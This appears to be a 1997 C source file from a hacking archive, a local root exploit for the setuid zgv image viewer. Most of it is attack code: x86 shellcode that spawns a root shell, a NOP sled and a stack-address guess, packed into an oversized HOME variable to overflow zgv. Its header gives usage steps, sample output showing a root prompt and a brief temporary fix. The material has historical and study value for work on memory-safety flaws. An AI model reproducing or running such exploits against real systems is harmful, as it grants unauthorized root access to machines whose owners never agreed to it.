home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / zgv_exploit.c < prev   
C/C++ Source or Header  |  1998-07-17  |  1KB  |  58 lines

  1.  
  2. /*
  3.  *
  4.  * zgv exploit coded by BeastMaster V on June 20, 1997
  5.  *
  6.  * USAGE:
  7.  *   For some strage reason, the filename length of this
  8.  *   particular exploit must me one character long, otherwise you
  9.  *   will be drop into a normal unpriviledged shell. Go Figure....
  10.  *
  11.  *   $ cp zgv_exploit.c n.c
  12.  *   $ cc -o n n.c
  13.  *   $ ./n
  14.  *   Oak driver: Unknown chipset (id =  0)
  15.  *   bash#
  16.  *
  17.  * EXPLANATION: zgv (suid root) does not check bounds for $HOME env.
  18.  * TEMPORARY FIX:  chmod u-s /usr/bin/zgv
  19.  * NOTE: Don't forget to visit http://www.rootshell.com for more exploits.
  20.  * DISCLAIMER: Please use this in a responsible manner.
  21.  * 
  22.  */
  23.  
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <unistd.h>
  27.  
  28. char *shellcode =
  29.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  30.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  31.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  32.   "\xcd\x80/"
  33.   "/bin/sh"
  34.   "0";
  35.  
  36. char *get_sp() {
  37.    asm("movl %esp,%eax");
  38. }
  39.  
  40. #define bufsize 4096
  41. char buffer[bufsize];
  42.  
  43. main() {
  44.   int i;
  45.  
  46.   for (i = 0; i < bufsize - 4; i += 4)
  47.     *(char **)&buffer[i] = get_sp() -4675;
  48.  
  49.   memset(buffer, 0x90, 512);
  50.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  51.  
  52.   buffer[bufsize - 1] = 0;
  53.  
  54.   setenv("HOME", buffer, 1);
  55.  
  56.   execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);
  57. }
  58.